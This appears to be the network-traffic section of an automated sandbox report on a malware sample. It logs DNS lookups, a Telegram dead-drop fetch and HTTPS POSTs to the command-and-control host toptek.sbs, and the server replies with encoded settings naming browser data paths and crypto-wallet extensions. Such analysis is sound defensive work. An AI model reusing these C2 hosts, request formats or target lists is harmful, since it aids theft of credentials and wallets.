Dec 23, 2024 06:22:02.516702890 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.516829014 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.516933918 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.517040968 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.517421007 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.517462015 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.517478943 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.517533064 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.517561913 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.518008947 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.518642902 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.518678904 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.518703938 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.518728971 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.518776894 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.518795967 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.518820047 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:02.546746016 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:02.620907068 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:03.276139021 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:03.276237965 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:03.277878046 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:03.277904034 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:03.280055046 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:03.280069113 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:04.159605026 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:04.159662008 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:04.159724951 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.159724951 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.159774065 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:04.159825087 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:04.159830093 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.159883976 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.160084963 CET	49785	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.160115957 CET	443	49785	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:04.162600040 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.162646055 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:04.162717104 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.162909985 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:04.162926912 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:05.563497066 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:05.563568115 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:05.570411921 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:05.570451021 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:05.572087049 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:05.572099924 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:06.471395016 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:06.471498013 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:06.471561909 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:06.471600056 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:06.471623898 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:06.471654892 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:06.471765995 CET	49791	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:06.471797943 CET	443	49791	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:08.944310904 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:08.944367886 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:08.944396973 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:08.944449902 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:08.945188999 CET	49779	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:08.945230007 CET	443	49779	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:09.569964886 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:09.570002079 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:09.570065022 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:09.570301056 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:09.570312977 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.973120928 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.973283052 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.973674059 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.973681927 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.975970030 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.975975037 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.976070881 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.976082087 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.976172924 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.976186037 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.976309061 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.976361036 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.976460934 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.976470947 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:10.976475000 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:10.976479053 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:12.719645023 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:12.719748974 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:12.719783068 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:12.719829082 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:12.719834089 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:12.719887018 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:12.719958067 CET	49807	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:12.719974995 CET	443	49807	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:12.760236979 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:12.760297060 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:12.760389090 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:12.760637999 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:12.760656118 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:14.167280912 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:14.167424917 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:14.172054052 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:14.172063112 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:14.174309969 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:14.174314976 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:15.075587034 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:15.075664043 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.075696945 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:15.075717926 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:15.075773954 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.076019049 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.076019049 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.077719927 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.077771902 CET	443	49819	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:15.077861071 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.078196049 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.078212023 CET	443	49819	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:15.388746977 CET	49813	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:15.388783932 CET	443	49813	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:16.477051973 CET	443	49819	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:16.477154970 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:16.477891922 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:16.477905989 CET	443	49819	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:16.480424881 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:16.480443954 CET	443	49819	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:17.384578943 CET	443	49819	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:17.384680033 CET	443	49819	94.130.188.57	192.168.2.4
Dec 23, 2024 06:22:17.384702921 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:17.384743929 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:17.385082006 CET	49819	443	192.168.2.4	94.130.188.57
Dec 23, 2024 06:22:17.385101080 CET	443	49819	94.130.188.57	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 06:21:01.930978060 CET	49888	53	192.168.2.4	1.1.1.1
Dec 23, 2024 06:21:02.187187910 CET	53	49888	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:17.137743950 CET	58263	53	192.168.2.4	1.1.1.1
Dec 23, 2024 06:21:17.275702000 CET	53	58263	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:19.222131968 CET	58898	53	192.168.2.4	1.1.1.1
Dec 23, 2024 06:21:19.633975983 CET	53	58898	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:20.911536932 CET	138	138	192.168.2.4	192.168.2.255
Dec 23, 2024 06:21:35.688081026 CET	53	49572	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:35.721637964 CET	53	63928	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:35.790251970 CET	59586	53	192.168.2.4	1.1.1.1
Dec 23, 2024 06:21:35.790517092 CET	54623	53	192.168.2.4	1.1.1.1
Dec 23, 2024 06:21:35.926732063 CET	53	59586	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:35.927246094 CET	53	54623	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:38.494040966 CET	53	56609	1.1.1.1	192.168.2.4
Dec 23, 2024 06:21:40.305870056 CET	53	61820	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 06:21:01.930978060 CET	192.168.2.4	1.1.1.1	0x3d70	Standard query (0)	bGZEIFIQcYIvivmO.bGZEIFIQcYIvivmO	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:17.137743950 CET	192.168.2.4	1.1.1.1	0x14d6	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:19.222131968 CET	192.168.2.4	1.1.1.1	0x5cc6	Standard query (0)	toptek.sbs	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:35.790251970 CET	192.168.2.4	1.1.1.1	0x7568	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:35.790517092 CET	192.168.2.4	1.1.1.1	0x81c	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 06:21:02.187187910 CET	1.1.1.1	192.168.2.4	0x3d70	Name error (3)	bGZEIFIQcYIvivmO.bGZEIFIQcYIvivmO	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:17.275702000 CET	1.1.1.1	192.168.2.4	0x14d6	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:19.633975983 CET	1.1.1.1	192.168.2.4	0x5cc6	No error (0)	toptek.sbs		94.130.188.57	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:35.926732063 CET	1.1.1.1	192.168.2.4	0x7568	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 23, 2024 06:21:35.927246094 CET	1.1.1.1	192.168.2.4	0x81c	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

toptek.sbs

www.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	149.154.167.99	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:18 UTC	85	OUT	GET /k04ael HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:19 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 23 Dec 2024 05:21:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12295 Connection: close Set-Cookie: stel_ssid=ff4c4c8b33065ec21d_13460331070396189714; expires=Tue, 24 Dec 2024 05:21:18 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-23 05:21:19 UTC	12295	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6b 30 34 61 65 6c 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @k04ael</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49742	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:21 UTC	230	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:23 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----T0ZUSR1VAI58QQI5XT2D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:23 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 54 30 5a 55 53 52 31 56 41 49 35 38 51 51 49 35 58 54 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 43 35 34 31 34 41 31 46 30 39 41 32 39 31 39 33 31 34 35 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 54 30 5a 55 53 52 31 56 41 49 35 38 51 51 49 35 58 54 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 54 30 5a 55 53 52 31 56 41 49 35 38 51 51 49 35 58 54 32 44 2d 2d 0d 0a Data Ascii: ------T0ZUSR1VAI58QQI5XT2DContent-Disposition: form-data; name="hwid"0C5414A1F09A291931458-a33c7340-61ca------T0ZUSR1VAI58QQI5XT2DContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------T0ZUSR1VAI58QQI5XT2D--
2024-12-23 05:21:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:24 UTC	70	IN	Data Raw: 33 62 0d 0a 31 7c 31 7c 31 7c 30 7c 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 7c 31 7c 31 7c 30 7c 31 7c 30 7c 31 30 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3b1\|1\|1\|0\|a66c99b4ea1107d67781e132b296cd32\|1\|1\|0\|1\|0\|100000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:26 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BSRIEKXT2VAIEUSR9RQ9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:26 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 53 52 49 45 4b 58 54 32 56 41 49 45 55 53 52 39 52 51 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 42 53 52 49 45 4b 58 54 32 56 41 49 45 55 53 52 39 52 51 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 42 53 52 49 45 4b 58 54 32 56 41 49 45 55 53 52 39 52 51 39 0d 0a 43 6f 6e 74 Data Ascii: ------BSRIEKXT2VAIEUSR9RQ9Content-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------BSRIEKXT2VAIEUSR9RQ9Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------BSRIEKXT2VAIEUSR9RQ9Cont
2024-12-23 05:21:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:26 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:28 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----OP8QIECJ5XBIM7Y5XBAI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:28 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 50 38 51 49 45 43 4a 35 58 42 49 4d 37 59 35 58 42 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4f 50 38 51 49 45 43 4a 35 58 42 49 4d 37 59 35 58 42 41 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4f 50 38 51 49 45 43 4a 35 58 42 49 4d 37 59 35 58 42 41 49 0d 0a 43 6f 6e 74 Data Ascii: ------OP8QIECJ5XBIM7Y5XBAIContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------OP8QIECJ5XBIM7Y5XBAIContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------OP8QIECJ5XBIM7Y5XBAICont
2024-12-23 05:21:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-23 05:21:29 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:30 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----0R9H4EU37QIMYMGVKXT2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
